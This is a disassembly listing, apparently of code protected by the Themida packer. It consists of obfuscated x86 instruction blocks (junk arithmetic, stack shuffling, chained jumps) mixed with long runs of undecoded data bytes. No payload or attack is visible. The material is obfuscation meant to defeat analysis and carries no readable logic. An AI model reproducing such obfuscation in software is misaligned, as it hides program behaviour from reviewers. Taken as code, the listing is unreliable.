		dd 0B5BDFFFFh, 31B544ECh, 0CB315DE9h, 0E9D3F759h, 54A3h
		dd 0E9240C8Bh, 52C7h, 1E1AC581h, 0EF2959EDh, 68D7295Dh
		dd 4500h, 0B8240489h, 5AFE2A3Eh, 8158C701h, 0C95E7CC7h
		dd 0E9C35A2Fh, 0FFFFF034h, 0FF241489h, 8B042474h, 0C4812414h
		dd 4, 0E924048Fh, 0AD46h, 46850h, 0E9580000h, 467Eh, 7D6BD5B8h
		dd 763DE921h, 31660000h, 33662414h, 31662414h, 1AE92414h
		dd 81000082h, 4C4h, 4C48300h, 3A0AE9h, 0C8B6600h, 2C48324h
		dd 47AEE9h
		db 0
; ---------------------------------------------------------------------------

loc_4F3F19:				; CODE XREF: Themida_:004FAF51j
		add	edx, 4B4023A4h
		shr	edx, 5
		xor	edx, 1CD3A400h
		push	edx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_4F567E
; ---------------------------------------------------------------------------
aZsp		db 'Z鯰',0
		align 2
		dw 515Ah
		dd 5E9E189h, 1000060h, 0B95158C2h, 3A8C2E31h, 2E35B850h
		dd 0C1313A8Ch, 28C28158h, 290B5930h, 0E5B850CAh, 2D09F801h
		dd 63D92A37h, 0E7873540h, 0C229AD47h, 34FFE958h, 48F0000h
		dd 0C2095C24h
		db 0D1h, 0E2h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_4FD14C
; ---------------------------------------------------------------------------

loc_4F3F86:				; CODE XREF: Themida_:004FB865j
		add	dword ptr [esp+4], 4DBB57D7h
		mov	edi, [esp]
		jmp	loc_4FD7F5
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 0EB810000h, 4, 5C241C87h, 0E9242C89h, 8CACh
		dd 0C8BCB29h, 990CE924h, 4680000h, 5F000000h, 0E95FFB89h
		dd 34D4h, 0F4E6C381h, 0C7E9058Ah, 5E000065h, 4EC81h, 0C890000h
		dd 76E95324h, 66000005h, 5724048Bh, 0FFF300E9h,	0F3B3FFh
		dd 0D93058C3h, 241C8B66h, 0B109E9h, 48B6600h, 5E685524h
		dd 89000079h, 4812424h,	424h, 0D7E95D00h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F4017:				; CODE XREF: Themida_:004FA3EEj
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [eax]
		jmp	loc_4F2EF4
; ---------------------------------------------------------------------------
		db 66h
		dd 51CCB60Fh, 0A6E9E189h
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F4033:				; CODE XREF: Themida_:004F9F43j
		mov	[esp], esi
		mov	esi, 19B8274Bh
		add	esi, 76491AE0h
		neg	esi
		and	esi, 57713D97h
		shl	esi, 7
		shr	esi, 4
		xor	esi, 0B81ECACh
		sub	edi, 2EA84DC3h
		sub	edi, esi
		add	edi, 2EA84DC3h
		pop	esi
		jmp	loc_4F82BD
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0D9h
		dd 13A64CEh, 2CE95DE9h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------

loc_4F4077:				; CODE XREF: Themida_:004F681Cj
		add	esp, 4
		or	ecx, 7EEF05EEh
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 3A4ED6B9h
		sub	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esi, ecx
		pop	ecx
		jmp	loc_4FBB7C
; ---------------------------------------------------------------------------
		dw 505Fh
		dd 4569C3B8h, 7E690D53h, 1051A28h, 48000000h, 9A82C82Dh
		dd 58C329E9h, 0A7C1E9h,	24048F00h, 48B665Ch, 0E0895024h
		dd 0A3DCE9h
		db 0
; ---------------------------------------------------------------------------

loc_4F40CD:				; CODE XREF: Themida_:004F514Fj
		mov	[esp], ebx
		jmp	loc_4F5CD3
; ---------------------------------------------------------------------------
		db 54h,	8Fh, 4
		dd 24048124h, 4, 83241C8Bh, 0E95004C4h,	6F33h, 4246C29h
		dd 0E950515Dh, 1900h, 2434FF5Bh, 4C4815Ah, 81000000h, 2C7h
		dd 243C8700h, 6624248Bh, 68240C8Bh, 2254h, 0E9241489h
		dd 1A35h, 0FDB2E953h, 0F701FFFFh, 5E2434FFh, 8104C483h
		dd 2C7h, 243C3300h, 33243C31h, 665C243Ch, 6824148Bh, 0F99h
		dd 0E9243489h, 581Ch, 83242489h, 5B042404h, 4EC81h, 0C890000h
		dd 4B924h, 0CB010000h, 0A4A6E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F416E:				; CODE XREF: Themida_:004FC0D1j
		xor	ecx, 443617D7h
		jmp	loc_4FF12E
; ---------------------------------------------------------------------------

loc_4F4179:				; CODE XREF: Themida_:loc_4F8093j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_4FCEBF
		push	ecx
		mov	ecx, 619E58C1h
		shr	ecx, 7
		inc	ecx
		jmp	loc_4FB02B
; ---------------------------------------------------------------------------
		dw 0CA81h
		dd 609050B2h, 0F6FDEA81h, 0D189F7FAh, 0B9F1815Ah, 8143456Bh
		dd 566B63E1h, 5D26E92Ch, 525C0000h, 552EE9h, 1C68100h
		dd 0E9000000h, 16CCh, 74FF575Ah, 8F5F0424h, 3CE92404h
		dd 8100006Dh, 291E4BC2h, 0FAC2E905h, 0F580FFFFh, 13F5805Dh
		dd 0C008E5C0h, 526603EDh, 9B5DE9h
		db 0
; ---------------------------------------------------------------------------

loc_4F41F1:				; CODE XREF: Themida_:004F6A6Cj
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, 1B80588Ch
		sub	ebx, 76DA79D2h
		add	ebx, 45BD6D48h
		sub	ebx, ecx
		sub	ebx, 45BD6D48h
		add	ebx, 76DA79D2h
		jmp	loc_4F3204
; ---------------------------------------------------------------------------
		dw 0C229h
		dd 783EA81h, 0B0E905A9h, 58FFFFF8h, 0E5E9F201h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F422F:				; CODE XREF: Themida_:004F7F3Ej
		add	esp, 4
		xor	eax, ebp
		jmp	loc_4FD415
; ---------------------------------------------------------------------------

loc_4F4239:				; CODE XREF: Themida_:004F51B6j
		add	esp, 4
		push	770Eh
		mov	[esp], edi
		push	esi
		jmp	loc_4FAB84
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 0E4E90000h, 2800006Bh, 0E99C2404h, 0FFFFEC90h
		dd 86D3F658h, 80D1F6D9h, 2B04E5C1h, 80B652h, 29AE9F0h
		dd 96B90000h, 311EDA5Ah, 56495AD1h, 74E7BB53h, 53551FF5h
		dd 0EF243481h, 5D25234Fh, 4FEFF581h, 0EE892523h, 0A2E95B5Dh
		dd 0C1000050h, 0C18106E9h, 0FFA03F56h, 38E9CE89h, 100003Eh
		dd 0A9C381FBh, 8B64B227h, 2434FF03h, 5B2434FFh,	8A44E9h
		dd 42A56800h, 0F8E90000h, 8B000080h, 0C4832434h, 24148704h
		dd 6624248Bh, 55240C8Bh, 8E3DE9h, 24348900h, 42474FFh
		dd 8324348Bh, 48F04C4h,	51D0E924h, 0DF290000h, 0E9F9895Bh
		dd 1F63h, 2434FF5Eh, 9A5E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F4311:				; CODE XREF: Themida_:004FCABFj
		mov	ebx, esp
		jmp	loc_4F8AFA
; ---------------------------------------------------------------------------
		dd 803DB652h, 0B3E9F2F6h, 100008Bh, 0AED4E9CDh,	0DAB10000h
		dd 53B2C180h, 0F82889B7h, 1053685Bh, 1C890000h,	0FE45B724h
		dd 0B3C780CFh, 49A3E9h,	0EC815300h, 4, 2AA7E9h,	240CFF00h
		dd 10CCE95Eh, 0B35B0000h, 0B7EB805Ch, 0EC81C300h, 4, 0E9241489h
		dd 34E9h, 5756E789h, 8A4FE9h
		db 0
; ---------------------------------------------------------------------------

loc_4F437D:				; CODE XREF: Themida_:004FAB1Dj
		pop	esp
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_4F9394
; ---------------------------------------------------------------------------
		db 28h
		dd 0EB805AF3h, 80C30016h, 815016C3h, 4ECh, 776CE900h, 68B80000h
		dd 0E9093A2Ah, 252Eh, 4BFh, 8BFD0100h, 8953243Ch, 4C381E3h
		dd 55000000h, 4BDh, 5DEB0100h, 0E9241C87h, 5AEDh, 815FFD01h
		dd 4ECh, 243C8900h, 0A767B3BFh,	0B8B9512Eh, 9208E52h, 0D14F59CFh
		dd 5EFC1EFh, 1EBE9h
		db 0
; ---------------------------------------------------------------------------

loc_4F43F9:				; CODE XREF: Themida_:004FD7E5j
		mov	ebp, ebx
		jmp	loc_4F7F43
; ---------------------------------------------------------------------------
		dd 5624048Bh, 0C681E689h, 4, 8704C683h,	565C2434h, 0FFF7CEE9h
		dd 3061B2FFh, 0C8285AD1h, 19F8E959h, 0E9580000h, 16E1h
; ---------------------------------------------------------------------------

loc_4F442C:				; CODE XREF: Themida_:004F5259j
		add	ebp, 2D0369AFh
		sub	ebp, 7B7C5DB2h
		add	ebp, eax
		jmp	loc_4FE9FC
; ---------------------------------------------------------------------------
		db 5
		dd 0D4209413h, 158C389h, 8F2BE9DFh, 0C4830000h,	0E9C70904h
		dd 0FFFFF1E0h, 4B30F66h, 91E99C24h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F4463:				; CODE XREF: Themida_:004F6E83j
		mov	dl, 14h
		shr	dl, 5
		inc	dl
		add	dl, 8Bh
		add	ch, dl
		pop	edx
		jmp	loc_4F5CEE
; ---------------------------------------------------------------------------
		db 5Eh,	0C1h, 0E2h
		dd 0FFB95106h, 21322264h, 0ECDAE9CAh, 0ED81FFFFh, 753E91E2h
		dd 0F75DE931h, 6F0F68D9h, 1C890000h, 717CBB24h,	0EBC12A01h
		dd 0F7534B04h, 815B2414h, 0E5430FEBh, 5BD9310Eh, 4960EF81h
		dd 0C7810AA0h, 122244CCh, 60E9CF01h, 0FE00003Bh, 8D0DE9C5h
		dd 34330000h, 8E20E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F44D2:				; CODE XREF: Themida_:004F61F2j
		shl	esi, 3
		push	ecx
		mov	ecx, 79012B4Bh
		or	esi, ecx
		pop	ecx
		push	ebp
		mov	ebp, 600F63A6h
		and	ebp, 7DE169C1h
		jmp	loc_4FD5EC
; ---------------------------------------------------------------------------
aIrsQ		db 'q',0
		align 2
		dw 0E381h
		dd 6D2452B8h, 61E8C381h, 0D821761Ah, 5DB1255Bh,	0DB0D019Fh
		dd 0E95C560Fh, 0AD69h, 2CC8285Ah, 592B2C80h, 1EDDE9h, 0E7EB8100h
		dd 29B661DAh, 241C8BDEh, 4C481h, 34870000h, 24248B24h
		dd 58240489h, 0FFE9B3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4F4541:				; CODE XREF: Themida_:004FC840j
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_4F2EF4
; ---------------------------------------------------------------------------
aMytSkv		db 'y]銂',0
		dw 8100h
		dd 4C2h, 7AE95100h
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F456F:				; CODE XREF: Themida_:004FA76Bj
		xor	edi, 4A187256h
		or	edi, 2ABF02C7h
		shr	edi, 5
		xor	edi, 3D5F892h
		add	ebp, edi
		pop	edi
		add	ebp, 2
		push	ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_4F893A
; ---------------------------------------------------------------------------
		dw 0C083h
		dd 24048704h, 0FFF8895Ch, 3C8B2434h, 60E5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F45B6:				; CODE XREF: Themida_:004FF421j
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		push	686Bh
		mov	[esp], ebp
		mov	ebp, 6C677CBDh
		jmp	loc_4F6F7A
; ---------------------------------------------------------------------------
		db 89h
		dd 631AE9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F45D6:				; CODE XREF: Themida_:004F62DCj
		shr	esi, 5
		or	esi, 6BA61A9Fh
		jmp	loc_4F5E50
; ---------------------------------------------------------------------------
		dd 4226C781h, 0FD01FF45h, 5F2434FFh, 8704C483h,	83E9242Ch
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F45FB:				; CODE XREF: Themida_:004F510Cj
		xor	ecx, edi
		pop	edi
		push	esi
		mov	esi, 6F41053Fh
		inc	esi
		jmp	loc_4F5C05
; ---------------------------------------------------------------------------
		dw 8F5Bh
		dd 248B2404h, 242CD324h, 8239E99Ch, 0D7010000h,	6E38E9h
		dd 243C8B00h, 7167E9h, 24348B00h, 4C481h, 0C2D0000h, 2D52D674h
		dd 74F224CAh, 7C3B6605h, 0A3E9E91Dh, 0E95F0000h, 5E5h
		dd 2B951h, 65E90000h, 81000011h, 4ECh, 24148900h, 45BEE9h
		dd 0C3EE8100h, 813A1965h, 55C50F6h, 0A59BE928h,	44810000h
		dd 27A10424h, 0FF5A1D37h, 48B2434h, 59545124h, 4C181h
		dd 0C1830000h, 33E95104h, 89000009h, 34FF59CAh,	0C4835D24h
		dd 874FE904h, 0D7870000h, 0D787DAF7h, 0C6BE9h, 0E58100h
		dd 4D1B3053h, 3D61C581h, 0EA2961B1h, 56C2015Dh,	6E1DAFBEh
		dd 2E6C113h, 603CE9h, 10DE6800h, 3C890000h, 2BF24h, 0E9810000h
		dd 783C65C4h, 0C181F901h, 783C65C4h, 4EC835Fh, 0FF240C89h
		dd 59042474h, 0E924048Fh, 184Ch, 8124148Bh, 4C4h, 5C28100h
		dd 8990CEBBh, 7A6FE9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F4716:				; CODE XREF: Themida_:004FB750j
		add	esp, 4
		xor	ebp, 7C7E3F2Fh
		sub	ebp, 495C7346h
		shl	ebp, 5
		xor	ebp, 64003CA1h
		mov	edx, ebp
		pop	ebp
		and	eax, edx
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	1A91h
		jmp	loc_4FD9BC
; ---------------------------------------------------------------------------
		db 5Bh
		dd 348BF501h, 97CBE924h, 34FF0000h, 89515924h, 0FBBF57E1h
		dd 813A9843h, 9843F7EFh, 5FF9013Ah, 509DE9h, 65E38100h
		dd 4B20375Eh, 0FFF247E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4F4789:				; CODE XREF: Themida_:004FBD46j
		add	esp, 4
		shl	ecx, 4
		sub	ecx, 40E297FCh
		jmp	loc_4FA245
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 280ECABEh, 3979E902h, 0F1800000h, 0E9CB0054h, 0D34h
; ---------------------------------------------------------------------------

loc_4F47B4:				; CODE XREF: Themida_:004F64FCj
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_4FBBF4
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Dh,	259BE95Ch, 1C870000h, 1954E924h
		dd 0C3290000h, 0A85AE9h, 24148B00h, 47AEE9h, 4BD5500h
		dd 29000000h, 1C335DEBh, 4047E924h, 8B660000h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_4FCCA9
; ---------------------------------------------------------------------------
		dw 0E5C1h
		dd 0FFC58305h, 781BF581h, 0EA8983AEh, 3B8E9h, 28CEB100h
		dd 0E95966C8h, 21BBh, 0C03E949h, 89570000h, 4C781E7h, 83000000h
		dd 3C8704EFh, 1C895C24h, 55E38924h, 0FFF40EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4F4849:				; CODE XREF: Themida_:004FE6D6j
		shr	ebx, 6
		push	446Ch
		mov	[esp], esi
		jmp	loc_4FCA00
; ---------------------------------------------------------------------------

loc_4F4859:				; CODE XREF: Themida_:004FE49Aj
		xor	ecx, 2FDE5B7Fh
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, edx
		pop	edx
		jmp	loc_4FBA89
; ---------------------------------------------------------------------------

loc_4F4872:				; CODE XREF: Themida_:004F4A1Cj
		sub	eax, 5DB7541Dh
		jmp	loc_4F3938
; ---------------------------------------------------------------------------
		dd 50241C89h, 8904EC83h, 91E9242Ch
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_4F488B:				; CODE XREF: Themida_:004FD093j
		push	edi
		jmp	loc_4FCA28
; ---------------------------------------------------------------------------
		db 80h,	0F5h, 67h
		dd 98B8E9h, 4B800h, 0C5290000h,	8324048Bh, 2C8704C4h, 24248B24h
		dd 0BB241C89h, 80h, 1885E9h, 0A5B25200h, 804AC280h, 0ABE99EF2h
		dd 54000004h, 8655E9h, 0B3BE5600h, 89655812h, 0D6895EF2h
		dd 2474295Ah, 2C815E04h, 0EA5F6124h, 2404290Ah,	61240481h
		dd 810AEA5Fh, 12B32404h, 51566558h, 0EA3BE56h, 81562C3Ch
		dd 0E232404h, 5359074Fh, 7733E9h, 4BF5700h, 1000000h, 2434FFF8h
		dd 619AE9h, 69E18100h, 0F703293Eh, 6654E9D1h, 0F1800000h
		dd 5890E948h, 0C3010000h, 0FD12E958h, 8158FFFFh, 1642D6C1h
		dd 55F9017Bh, 0AD1CE4BDh, 3D4CE902h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F494E:				; CODE XREF: Themida_:004FB54Ej
		push	edx
		mov	edx, 757C7D09h
		jmp	loc_4FA77A
; ---------------------------------------------------------------------------

loc_4F4959:				; CODE XREF: Themida_:004F7A13j
		add	eax, ebp
		pop	ebp
		sub	[esp+4], eax
		jmp	loc_4F36E4
; ---------------------------------------------------------------------------
		db 80h,	0C6h, 0CEh
		dd 0CCE9F300h, 80000096h, 0EB8070F2h, 80D300D9h, 34FFD9C3h
		dd 0A3E1E924h, 0C890000h, 0C8B5424h, 4C48324h, 4C181h
		dd 0E3E90000h, 5300005Bh, 0CFFE2CB7h, 0C780D7F6h, 55F780BBh
		dd 0E95BF800h, 0FFFFEDFAh, 24048B66h, 3E4E68h, 240C8900h
		dd 0C181E189h, 4, 4EC8355h, 68241C89h, 321C6E04h, 913EE95Bh
		dd 0B8500000h, 1F5C0758h, 5C075CBBh, 58C3311Fh,	47EDE9h
		dd 0F7DF8700h, 173CE9D3h, 0BE560000h, 7760FE1h,	0BD55D6F7h
		dd 3FD731B4h, 589DE9h
		db 0
; ---------------------------------------------------------------------------

loc_4F4A01:				; CODE XREF: Themida_:004FE3FDj
		add	[esp+4], edx
		push	eax
		mov	eax, 76E2365Ah
		sub	[esp+8], eax
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_4F2EF4
; ---------------------------------------------------------------------------

loc_4F4A1B:				; CODE XREF: Themida_:004F5E5Fj
		inc	eax
		jmp	loc_4F4872
; ---------------------------------------------------------------------------
		db 87h,	0FAh, 0F7h
aStv		db 't',0
		align 2
		dw 8B66h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 70450EF0h
		jmp	loc_4F5947
; ---------------------------------------------------------------------------
		dd 66E9535Fh
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_4F4A43:				; CODE XREF: Themida_:004F8695j
		and	eax, 2B3E24FBh
		and	eax, 25B10CF5h
		xor	eax, 6EEB6699h
		mov	ecx, eax
		pop	eax
		and	ecx, 68B619A5h
		shl	ecx, 3
		shr	ecx, 5
		and	ecx, 12CC4653h
		neg	ecx
		jmp	loc_4FD5CE
; ---------------------------------------------------------------------------
		dw 0EF88h
		dd 66F83059h, 53241C8Bh, 6FE9E389h, 66000046h, 5524048Bh
		dd 242C8B54h, 81E18951h, 4C1h, 4C18300h, 0FFF0A6E9h, 4C483FFh
		dd 0BD685051h, 58595A29h, 0CC31C735h, 2DD8F738h, 41E2771h
		dd 9FE4E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F4AB5:				; CODE XREF: Themida_:004FD037j
		mov	edi, 7C664D21h
		sub	ecx, edi
		pop	edi
		add	ecx, esi
		add	ecx, 7C664D21h
		pop	esi
		jmp	loc_4FC759
; ---------------------------------------------------------------------------
		db 8Fh
		dd 665C2404h, 9C243CD3h, 0FFE41BE9h, 946858FFh,	0E900001Bh
		dd 49AAh, 0EE775F0Dh, 7E0FE90Ah, 8B660000h, 89562404h
		dd 4C681E6h, 83000000h,	348704EEh, 3C895C24h, 4EC8324h
		dd 81242489h, 42404h, 0DAE90000h, 0BE000071h, 4, 58A6E9h
		dd 240C8900h, 0F180EAB1h, 0FFC80037h, 8CE92434h, 8300009Ch
		dd 143304C4h, 2EDAE924h, 97680000h, 89000015h, 0F1B1240Ch
		dd 8001E980h, 0B05025E1h, 6134E9EFh, 0FF660000h, 0E99C2404h
		dd 0FFFFE394h, 9D1C77FFh, 14D35966h, 85E99C24h,	51FFFFE3h
		dd 0ED80AFB5h, 8E5C097h, 0CD80DDF6h, 80CDFE2Fh,	0EF881BEDh
		dd 0F2E95259h, 3500009Eh, 1A61055h, 52DD2540h, 20E91440h
		dd 50000097h, 80F6B353h, 88516AEBh, 59EC88DDh, 865CE95Bh
		dd 0E7C10000h, 0C7814F03h, 5C3E348Ah, 59E7814Fh, 811B6419h
		dd 0E7643AC7h, 5FFE293Bh, 4C8268h, 24348900h, 61E5E9h
		dd 98E95D00h, 10000A8h,	0C4EE81C6h, 584AF60Bh, 740E9h
		dd 1BEB8100h, 1B7B92Ah,	53EEE9DDh, 0E95F0000h, 21F5h, 295EF089h
		dd 0C1015BD8h, 7AD0E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F4C09:				; CODE XREF: Themida_:004FE788j
		sub	ecx, 5CCE2BDCh
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		sub	bl, al
		jmp	loc_4FC691
; ---------------------------------------------------------------------------

loc_4F4C1B:				; CODE XREF: Themida_:004F6ADDj
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 413459h
		jmp	loc_4FA0A3
; ---------------------------------------------------------------------------
aGspx		db 'G鯕',0
		dw 0FF00h
		dd 0E9042474h, 5AD6h, 0E953972Ch, 0FFFFFF53h, 240C8B66h
		dd 589568h, 48B4E900h, 0E7890000h, 4BE56h, 0F7010000h
		dd 2BA525Eh, 1000000h, 3C875AD7h, 24248B24h, 7E05E9h, 0C7D00100h
		dd 0
		dd 2434FF00h, 4EC8358h,	64E3E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F4C89:				; CODE XREF: Themida_:004F9B7Fj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2DDD42DFh
		add	eax, 61C25328h
		sub	eax, esi
		push	edi
		mov	edi, 61C25328h
		sub	eax, 6E4D1A17h
		sub	eax, edi
		add	eax, 6E4D1A17h
		pop	edi
		jmp	loc_4FCC38
; ---------------------------------------------------------------------------
a_s		db '_*',0
		align 4
		dd 0AF74D6BAh, 0F26E96Bh, 51AC0000h, 37ECE9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	edx
		mov	edx, 4
		push	edx
		xor	dword ptr [esp], 39554673h
		pop	eax
		push	edx
		mov	edx, 39554673h
		xor	eax, edx
		pop	edx
		jmp	loc_4FED19
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 4DD849B3h, 38B4E381h, 0D3F73BF4h, 0CA3BEB81h, 0DF31F882h
		dd 676DE95Bh, 1C890000h, 2111BB24h, 84BD3A35h, 295CC936h
		dd 0EA815BDDh, 410E212Ch, 0FFE96BE9h, 4C481FFh,	8F000000h
		dd 248B2404h, 2434FF24h, 0BD76858h, 4890000h, 3AAA6824h
		dd 24890000h, 5E49E924h, 0EC810000h, 4,	505DE9h, 0BAEE8100h
		dd 81783248h, 137C4DCEh, 0E9DEF76Dh, 67F5h, 295DE931h
		dd 96BDE9CAh, 0D1880000h, 8BCB005Ah, 0E957240Ch, 8F8Eh
		dd 685DE901h, 2136h, 0E9243C89h, 36C6h
; ---------------------------------------------------------------------------

loc_4F4D90:				; CODE XREF: Themida_:004FAA6Dj
		pop	esp
		mov	[esp], ebx
		xor	dword ptr [esp], 652434A9h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edi
		mov	edi, 583C4503h
		not	edi
		sub	edi, 429F8653h
		xor	eax, edi
		jmp	loc_4FACBF
; ---------------------------------------------------------------------------
		db 54h
		dd 0EDBF575Eh, 5514F95Eh, 243AB951h, 0E9C10401h, 0C1814903h
		dd 62742EAEh, 5FE9CD89h, 81000065h, 4C4h, 74FF5300h, 1C8B0424h
		dd 0D9E95224h, 0BF00003Ch, 2, 685FF929h, 156Bh,	0FF240C89h
		dd 59042474h, 5C24048Fh, 240C8966h, 0C8B60F66h,	0E99C5166h
		dd 0FFFFE0E0h, 81665866h, 666FD6EBh, 8166C329h,	666FD6C3h
		dd 7560EB81h, 66C0B70Fh, 66723C68h, 0E9240489h,	0FFFFE0BCh
		dd 0E5B95156h, 120054Dh, 5904244Ch, 8138428Fh, 4DE5386Ah
		dd 34FF2005h, 0A49CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_4F4E56:				; CODE XREF: Themida_:004F6009j
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_4F30E9
; ---------------------------------------------------------------------------
		dd 582434FFh, 8904EC83h, 5D54242Ch, 6867E9h, 0C7EB8100h
		dd 0E9EFE736h, 78E3h, 8215C681h, 0F789A9D6h, 0E9FE015Eh
		dd 5ABDh
; ---------------------------------------------------------------------------

loc_4F4E9C:				; CODE XREF: Themida_:004F6F97j
		sub	edx, ecx
		xchg	edx, ecx
		pop	edx
		inc	ecx
		and	ecx, 11553CD7h
		shl	ecx, 7
		inc	ecx
		jmp	loc_4F7C33
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 0FC0095Ch, 95B84h, 1C77FF00h, 76C8E9h
		db 0
; ---------------------------------------------------------------------------

loc_4F4EC5:				; CODE XREF: Themida_:004FA9A8j
		pop	esi
		jmp	loc_4F6CC7
; ---------------------------------------------------------------------------
		db 83h
		dd 148904ECh, 543E924h,	0E95D0000h, 6D57h
; ---------------------------------------------------------------------------

loc_4F4EDC:				; CODE XREF: Themida_:004F2EF6j
		mov	ch, 0FBh
		or	ch, 0A9h
		not	ch
		xor	ch, 55h
		inc	ch
		not	ch
		dec	ch
		xor	ch, 4
		add	ch, 0F7h
		sub	al, 0A3h
		sub	al, 28h
		add	al, ch
		jmp	loc_4F8342
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 4C68100h, 87000000h, 10E92434h, 100009Fh, 0EC815DEBh
		dd 4, 68243C89h, 2, 361BE9h, 5F685900h,	8900001Eh, 6C682404h
		dd 584D4D1Bh, 4D1B682Dh, 6CE9814Dh, 10E0A08h, 6CC181C1h
		dd 8B0E0A08h, 0C4812404h, 4, 2BF57h, 0F9010000h, 0FFFC95E9h
		dd 0FD0458FFh, 0E828F004h, 0FD2CF02Ch, 8E00E9h,	0F666400h
		dd 71E902B6h, 5200005Ah, 77ABE9h, 0EC815D00h, 4, 0E9243489h
		dd 372Bh, 0E90CE8C1h, 80B5h
; ---------------------------------------------------------------------------

loc_4F4F98:				; CODE XREF: Themida_:004F3CFEj
		or	ecx, esi
		jmp	loc_4F56CC
; ---------------------------------------------------------------------------
		db 0ADh
		dd 1CE9D831h, 5C000074h, 2D63E9h, 0E9970400h, 4B8Fh
; ---------------------------------------------------------------------------

loc_4F4FB4:				; CODE XREF: Themida_:004FCCB8j
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_4F6104
; ---------------------------------------------------------------------------

loc_4F4FBE:				; CODE XREF: Themida_:004F79E9j
		jmp	loc_4F2EF4
; ---------------------------------------------------------------------------
		db 1
aSiv		db 'iV',0
		align 2
		dw 74FFh
		dd 8F590424h, 815C2404h, 4C4h, 0D1E95500h, 5C000095h, 14CE9h
		db 0
; ---------------------------------------------------------------------------

loc_4F4FE5:				; CODE XREF: Themida_:004F5466j
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		sub	dword ptr [esp], 491E45BBh
		pop	edx
		add	edx, 491E45BBh
		pop	esi
		xor	edx, eax
		pop	eax
		sub	[edi+24h], edx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, ebx
		push	3B1Ch
		mov	[esp], ecx
		push	esi
		mov	esi, 4BB252A2h
		xor	[esp+4], esi
		pop	esi
		mov	eax, [esp]
		jmp	loc_4FE942
; ---------------------------------------------------------------------------
aFrsgj		db 'fRGj',0
		align 2
		dw 0EC81h
		dd 4, 0FF241C89h, 0FF042474h, 61E92434h, 81000084h, 4C4h
		dd 0E1895100h, 4C181h, 0E9E90000h, 58FFFFEBh, 0D14E981h
		dd 8DE931ADh, 6600001Ch, 68240C8Bh, 5CEh, 6E97E9h, 55D30100h
		dd 774E31BDh, 0E9EB2909h, 0FFFFE925h, 4C5815Dh,	0E9000000h
		dd 6D56h, 180BA6B8h, 0E8C14812h, 53F10505h, 48E93263h
		dd 5600007Ah, 4BEh, 5EF10100h, 8A8AE9h,	5FFD3100h, 0A80FC581h
		dd 0EF01AD0Eh, 4EF835Dh, 0E9243C87h, 24F5h, 0D330B2B3h
		dd 0E2B0E95Ah, 895CFFFFh, 9C502414h, 0FFDE0FE9h, 0BBBB53FFh
